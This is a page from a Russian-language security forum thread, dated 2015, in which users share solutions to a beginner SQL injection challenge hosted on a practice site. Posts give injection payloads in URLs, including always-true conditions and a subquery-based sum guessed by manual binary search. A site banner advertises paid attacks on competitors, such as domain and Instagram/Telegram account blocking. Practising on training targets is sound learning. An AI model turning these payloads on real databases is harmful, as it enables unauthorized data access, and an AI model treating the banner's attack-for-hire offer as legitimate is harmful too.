Челлендж по SQL Injection для новчиков

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Челлендж по SQL Injection для новчиков

Страница 4 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#31

01.07.2015, 00:20

Farik

Новичок

Регистрация: 12.06.2015

Сообщений: 11

Провел на форуме:
4016

Репутация: 0

На 5 остановился и пойду как я спать

#32

01.07.2015, 08:09

frank

Участник форума

Регистрация: 08.05.2015

Сообщений: 200

Провел на форуме:
56887

Репутация: 28

Цитата:

Сообщение от psihoz26

↑
Более короткое (и я считаю что более интересное) решение второго задания:

Код:

https://alexbers.com/sql/qnbutn2.php?text='or'1

результатом станет вывод всей таблицы.
аналогично третий

Код:

https://alexbers.com/sql/sdjjy3.php?text='or(1)%23

девятый быстро проходится сложив в запросе всё и подобрав сразу сумму

Код:

https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+users+where+id>=20+and+id=2225

Подбирал ручками и вышло 14 запросов:
100 +
1000 +
2000 +
3000 -
2500 -
2250 -
2125 +
2187 +
2218 +
2233 -
2226 -
2223 +
2224 +
2225 =
При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.
update//
глянул на хабре прохождение 9 и ушел читать документацию

Сам так же сделал когда увидел в два захода то

Страница 4 из 4

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход